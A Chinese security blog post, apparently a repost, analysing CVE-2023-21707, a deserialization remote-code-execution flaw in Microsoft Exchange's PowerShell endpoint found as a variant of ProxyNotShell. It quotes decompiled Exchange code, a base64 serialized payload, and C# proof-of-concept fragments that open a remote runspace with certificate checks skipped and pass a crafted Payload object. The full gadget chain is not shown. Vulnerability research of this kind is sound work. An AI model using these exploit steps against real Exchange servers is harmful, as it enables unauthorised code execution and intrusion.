Microsoft Exchange Powershell 远程反序列化导致 RCE (CVE-2023-21707)

admin 2023年7月4日19:25:22评论282 views字数 6960阅读23分12秒阅读模式
Microsoft Exchange Powershell 远程反序列化导致 RCE (CVE-2023-21707)
介绍
在分析CVE-2022-41082ProxyNotShell 时,我们发现了这个漏洞,我们在本博客中对此进行了详细介绍。然而,为了全面了解,我们强烈建议您阅读ZDI 团队撰写的全面分析。
为了帮助理解,我们提供了下面的视觉表示CVE-2022-41082。

Microsoft Exchange Powershell 远程反序列化导致 RCE (CVE-2023-21707)

ProxyNotShell 的接收器:
//System.Management.Automation.InternalDeserializer.ReadOneObject()internal object ReadOneObject(out string streamName){    //...    Type targetTypeForDeserialization = psobject.GetTargetTypeForDeserialization(this._typeTable); //[1]    if (null != targetTypeForDeserialization)    {        Exception ex = null;        try        {            object obj2 = LanguagePrimitives.ConvertTo(obj, targetTypeForDeserialization, true, CultureInfo.InvariantCulture, this._typeTable); //[2]        }    //...}
在[2]处,如果targetTypeForDeserialization!= null,则会继续调用LanguagePrimitives.ConvertTo()将原来的转换obj为指定的Type targetTypeForDeserialization
LanguagePrimitives.ConvertTo()方法之前曾在题为“Friday the 13th JSON Attacks”PSObject的论文的小工具部分中引用过。本文还讨论了利用该方法的几种可能的方法:
  • 使用 1 个参数调用构造函数
  • 呼叫设置者
  • 调用静态方法“ Parse(string) ” [方法3]
  • 调用自定义转换【方法4】
  • ……
该漏洞CVE-2022-41082涉及使用LanguagePrimitives.ConvertTo()不同方法的两次。
  • 第一种用法是利用[方法4]来重建XamlReader类型。Microsoft.Exchange.Data.SerializationTypeConverter.ConvertFrom() -> DeserializeObject()为了实现这一点,采用了自定义转换方法,该方法使用BinaryFormatter白名单来反序列化数据。如果反序列化类型恰好是 a System.Type,则目标类型将是System.UnitySerializationHolder也在白名单上的类型。
  • 第二次,该进程使用[方法3]发起对静态方法的调用XamlReader.Parse(string),随后触发远程代码执行(RCE)漏洞。值得注意的是,这XamlReader是从 获得的反序列化类型step 1。
最新的补丁CVE-2022-41082引入了一个新功能UnitySerializationHolderSurrogateSelector,可以在反序列化过程中验证目标类型System.UnitySerializationHolder。因此,利用此漏洞进行调用Type.Parse(string)已不再可能。此修复有效降低了恶意行为者利用该漏洞执行任意代码的风险。
新变体
深入看看[方法3]LanguagePrimitives.ConvertTo(),Exchange实现了自定义的PowerShell类型转换:SerializationTypeConverter,方法SerializationTypeConverter.ConvertFrom()会直接调用DeserializeObject [3]
public override object ConvertFrom(object sourceValue, Type destinationType, IFormatProvider formatProvider, bool ignoreCase){    return this.DeserializeObject(sourceValue, destinationType); //[3]}private object DeserializeObject(object sourceValue, Type destinationType){    if (!this.CanConvert(sourceValue, destinationType, out array, out text, out ex)) //[4]    {        throw ex;    }    //...    using (MemoryStream memoryStream = new MemoryStream(array))    {        AppDomain.CurrentDomain.AssemblyResolve += SerializationTypeConverter.AssemblyHandler;        try        {            int tickCount = Environment.TickCount;            obj = this.Deserialize(memoryStream); //[5]        //...}private bool CanConvert(object sourceValue, Type destinationType, out byte[] serializationData, out string stringValue, out Exception error){    PSObject psobject = sourceValue as PSObject;    //...    object value = psobject.Properties["SerializationData"].Value; //[6]    if (!(value is byte[]))    {        error = new NotSupportedException(DataStrings.ExceptionUnsupportedDataFormat(value));        return false;    }    //...    stringValue = psobject.ToString();    serializationData = value as byte[];    }        internal object Deserialize(MemoryStream stream){    bool strictModeStatus = Serialization.GetStrictModeStatus(DeserializeLocation.SerializationTypeConverter);    return ExchangeBinaryFormatterFactory.CreateBinaryFormatter(DeserializeLocation.SerializationTypeConverter, strictModeStatus, SerializationTypeConverter.allowedTypes, SerializationTypeConverter.allowedGenerics).Deserialize(stream); //[7]}
在 中DeserializeObject,方法CanConvert()将从原始 PSObject 中以字节数组形式获取属性,如[6]SerializationData所示,然后直接传递到[7]所示。SerializationTypeConverter.Deserialize() -> BinaryFormatter.Deserialize()
在ProxyNotShell的有效负载中,SerializationData表示如下:
<BA N="SerializationData">AAEAAAD/////AQAAAAAAAAAEAQAAAB9TeXN0ZW0uVW5pdHlTZXJpYWxpemF0aW9uSG9sZGVyAwAAAAREYXRhCVVuaXR5VHlwZQxBc3NlbWJseU5hbWUBAAEIBgIAAAAgU3lzdGVtLldpbmRvd3MuTWFya3VwLlhhbWxSZWFkZXIEAAAABgMAAABYUHJlc2VudGF0aW9uRnJhbWV3b3JrLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49MzFiZjM4NTZhZDM2NGUzNQs=</BA>
可以使用白名单来防止反序列化为远程代码执行 (RCE) SerializationTypeConverter.allowedTypes,其中包含大约 1200 种允许的类型。

Microsoft Exchange Powershell 远程反序列化导致 RCE (CVE-2023-21707)

经过仔细检查此白名单,41082发现了一个新的变体并将其命名为CVE-2023-21707. 白名单中允许的类型之一是Microsoft.Exchange.Security.Authentication.GenericSidIdentity. 通过利用此白名单并包含特定允许的类型,可以显着降低反序列化为 RCE 的风险。

Microsoft Exchange Powershell 远程反序列化导致 RCE (CVE-2023-21707)

继承树GenericSidIdentity:
GenericSidIdentity    ClientSecurityContextIdentity        System.Security.Principal.GenericIdentity            System.Security.Claims.ClaimsIdentity <---
如果您以前有 .NET 反序列化的经验,您将能够快速识别该类ClaimsIdentity。该类包含在著名工具ysoserial.net的小工具链中。

Microsoft Exchange Powershell 远程反序列化导致 RCE (CVE-2023-21707)

Microsoft.Exchange.Security.Authentication.GenericSidIdentity是 的子类ClaimsIdentity。在反序列化期间,ClaimsIdentity首先重建对象,然后调用ClaimsIdentity.OnDeserializedMethod().
这提供了利用的机会,因为我们可以滥用此行为在第二个反序列化阶段触发 RCE。
有效负载交付
尽管潜在错误仍然存在,但该ProxyNotShell补丁的实施已有效消除了先前存在于自动发现入口点的 SSRF 漏洞。因此,以前发送有效负载的方法不再可行。
经过几天的调查,我发现仍然可以远程访问 /powershell 入口点,尽管有一个限制,即仅限制对 HTTP 协议的访问:

Microsoft Exchange Powershell 远程反序列化导致 RCE (CVE-2023-21707)

  • 源代码:https: //learn.microsoft.com/en-us/powershell/exchange/connect-to-exchange-servers-using-remote-powershell? view=exchange-ps
要以编程方式执行此操作,我们可以使用WSManConnectionInfoRunspaceFactory.CreateRunspace()建立与目标 Exchange 服务器的 powershell 会话:
string userName = "john";string password = "";string uri = "http://exchange.lab.local/powershell";PSCredential remoteCredential = new PSCredential(userName, ToSecureString(password));WSManConnectionInfo wsmanConnectionInfo = new WSManConnectionInfo(uri, "http://schemas.microsoft.com/powershell/Microsoft.Exchange", credentials);
wsmanConnectionInfo.AuthenticationMechanism = this.authType;wsmanConnectionInfo.MaximumConnectionRedirectionCount = 5;wsmanConnectionInfo.SkipCACheck = true;wsmanConnectionInfo.SkipCNCheck = true;
this.runspace = RunspaceFactory.CreateRunspace(wsmanConnectionInfo);this.runspace.Open();
之后,我们可以使用创建的运行空间和调用命令创建一个 PowerShell 会话。为了传递有效负载,我们可以将其作为参数传递,如下所示:
object payload = new Payload();using (PowerShell powerShell = PowerShell.Create()){    powerShell.Runspace = this.runspace;    powerShell.AddCommand("get-mailbox");    powerShell.AddArgument(payload);    powerShell.Invoke();}
需要注意的一个重要方面是该PowerShell.AddArgument(object)函数可以接受任何对象作为参数。
此步骤类似于在 ProxyNotShell 中制作有效负载的过程,但我们不是手动制作,而是以编程方式执行。通过利用此函数,我们可以动态地将参数添加到 PowerShell 命令中,从而使我们的方法具有更大的灵活性和定制性。
课程内容Payload:
using System;public class Payload: Exception{    private byte[] _serializationData;
public byte[] SerializationData { get => _serializationData; set => _serializationData = value; }
public Payload(byte[] serializationData) { SerializationData = serializationData; }}
为了确保正确的功能,需要这个特定的类继承该类型,如本文System.Exception中详细解释的。此外,类中必须包含名为 的公共属性,该属性将用作旁路 gadgetchain 的容器。SerializationDataGenericSidIdentity
为了实现这一点,我们生成一个GenericSidIdentity对象并将其m_serializedClaims字段值设置为实际的 RCE gadgetchain,该 gadgetchain 可以通过使用 ysoserial 创建。
虽然有多种方法可以实现此目的,但在我的概念证明中,我选择创建一个继承自的新类GenericIdentity

Microsoft Exchange Powershell 远程反序列化导致 RCE (CVE-2023-21707)

并使用自定义序列化绑定器在序列化过程中重写类名:

Microsoft Exchange Powershell 远程反序列化导致 RCE (CVE-2023-21707)

为了成功执行漏洞利用,需要满足某些先决条件:
  • 攻击者的计算机应该能够访问目标 Exchange 服务器的端口 80。
  • PowerShell 入口点的身份验证方法必须是 Kerberos(而不是 NTLM),需要在运行漏洞利用时访问域控制器的端口 88。
值得注意的是,由于技术限制,此漏洞对于面向互联网的 Exchange 服务器不可行。
下图详细介绍了代码的成功利用,包括执行证明和有关生成的调用堆栈的信息。

Microsoft Exchange Powershell 远程反序列化导致 RCE (CVE-2023-21707)

Microsoft Exchange Powershell 远程反序列化导致 RCE (CVE-2023-21707)

谢谢阅读!
演示

参考

  • https://www.zerodayinitiative.com/blog/2022/11/14/control-your-types-or-get-pwned-remote-code-execution-in-exchange-powershell-backend

  • https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf

  • https://learn.microsoft.com/en-us/powershell/exchange/connect-to-exchange-servers-using-remote-powershell?view=exchange-ps

  • https://www.zerodayinitiative.com/blog/2022/11/14/control-your-types-or-get-pwned-remote-code-execution-in-exchange-powershell-backend

  • https://littlepwner.github.io/posts/cve-2023-32031-ms-exchange-powershell-backend-rce/



感谢您抽出

Microsoft Exchange Powershell 远程反序列化导致 RCE (CVE-2023-21707)

.

Microsoft Exchange Powershell 远程反序列化导致 RCE (CVE-2023-21707)

.

Microsoft Exchange Powershell 远程反序列化导致 RCE (CVE-2023-21707)

来阅读本文

Microsoft Exchange Powershell 远程反序列化导致 RCE (CVE-2023-21707)

点它,分享点赞在看都在这里

原文始发于微信公众号(Ots安全):Microsoft Exchange Powershell 远程反序列化导致 RCE (CVE-2023-21707)

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年7月4日19:25:22
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Microsoft Exchange Powershell 远程反序列化导致 RCE (CVE-2023-21707)https://cn-sec.com/archives/1852996.html

发表评论

匿名网友 填写信息